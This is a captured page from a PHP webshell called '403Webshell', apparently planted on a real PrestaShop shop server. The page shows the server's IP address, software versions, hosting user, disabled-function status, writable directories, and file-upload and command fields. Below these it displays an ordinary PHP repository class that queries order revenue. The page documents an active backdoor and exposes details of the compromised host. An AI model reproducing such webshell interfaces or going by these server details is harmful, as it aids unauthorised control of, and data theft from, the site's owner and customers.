403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/air-sport_cz/www/modules/ps_metrics/src/Repository/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/air-sport_cz/www/modules/ps_metrics/src/Repository/OrderRepository.php
<?php

/**
 * Copyright since 2007 PrestaShop SA and Contributors
 * PrestaShop is an International Registered Trademark & Property of PrestaShop SA
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Academic Free License version 3.0
 * that is bundled with this package in the file LICENSE.md.
 * It is also available through the world-wide-web at this URL:
 * https://opensource.org/licenses/AFL-3.0
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@prestashop.com so we can send you a copy immediately.
 *
 * @author    PrestaShop SA and Contributors <contact@prestashop.com>
 * @copyright Since 2007 PrestaShop SA and Contributors
 * @license   https://opensource.org/licenses/AFL-3.0 Academic Free License version 3.0
 */

namespace PrestaShop\Module\Ps_metrics\Repository;

use PrestaShop\Module\Ps_metrics\Helper\DbHelper;
use PrestaShop\Module\Ps_metrics\Helper\ShopHelper;

class OrderRepository
{
    /**
     * @var DbHelper
     */
    private $dbHelper;

    /**
     * @var ShopHelper
     */
    private $shopHelper;

    /**
     * __construct
     *
     * @param DbHelper $dbHelper
     * @param ShopHelper $shopHelper
     */
    public function __construct(DbHelper $dbHelper, ShopHelper $shopHelper)
    {
        $this->dbHelper = $dbHelper;
        $this->shopHelper = $shopHelper;
    }

    /**
     * Get CA for the shop for de order paid since last 3 months for billing plan
     *
     * @return int
     */
    public function getCaForPlans()
    {
        $firstOrderDate = $this->getFirstOrderDate();

        if (empty($firstOrderDate)) {
            return 0;
        }
        $begin = new \DateTime($firstOrderDate);
        $end = new \DateTime();
        $interval = date_diff($begin, $end);

        $intervalMonth = $interval->m + $interval->y * 12;
        $months = $intervalMonth > 3 ? 3 : $intervalMonth;
        $months = $months == 0 ? 1 : $months;

        $date = date('Y-m-d', (int) strtotime('-' . $months . 'months'));

        $amount = (int) $this->dbHelper->getValue(
            'SELECT SUM((od.unit_price_tax_incl / o.conversion_rate) * od.product_quantity) as revenues
            FROM ' .
                _DB_PREFIX_ .
                'order_detail od
            INNER JOIN ' .
                _DB_PREFIX_ .
                'orders o ON (od.id_order = o.id_order)
            INNER JOIN ' .
                _DB_PREFIX_ .
                'order_state os ON (o.current_state = os.id_order_state)
            WHERE
                o.date_add >= "' .
                pSQL($date) .
                '"
                AND os.logable = 1
                ' .
                $this->shopHelper->addSqlRestriction(false, 'o') .
                '
            ORDER BY o.date_add ASC'
        );

        return $amount / $months;
    }

    /**
     * Get first order date
     *
     * @return string
     */
    private function getFirstOrderDate()
    {
        return $this->dbHelper->getValue(
            'SELECT date_add
            FROM ' .
                _DB_PREFIX_ .
                'orders o
            INNER JOIN ' .
                _DB_PREFIX_ .
                'order_state os ON (o.current_state = os.id_order_state)
            WHERE os.logable = 1
                ' .
                $this->shopHelper->addSqlRestriction(false, 'o') .
                '
            ORDER BY date_add DESC'
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit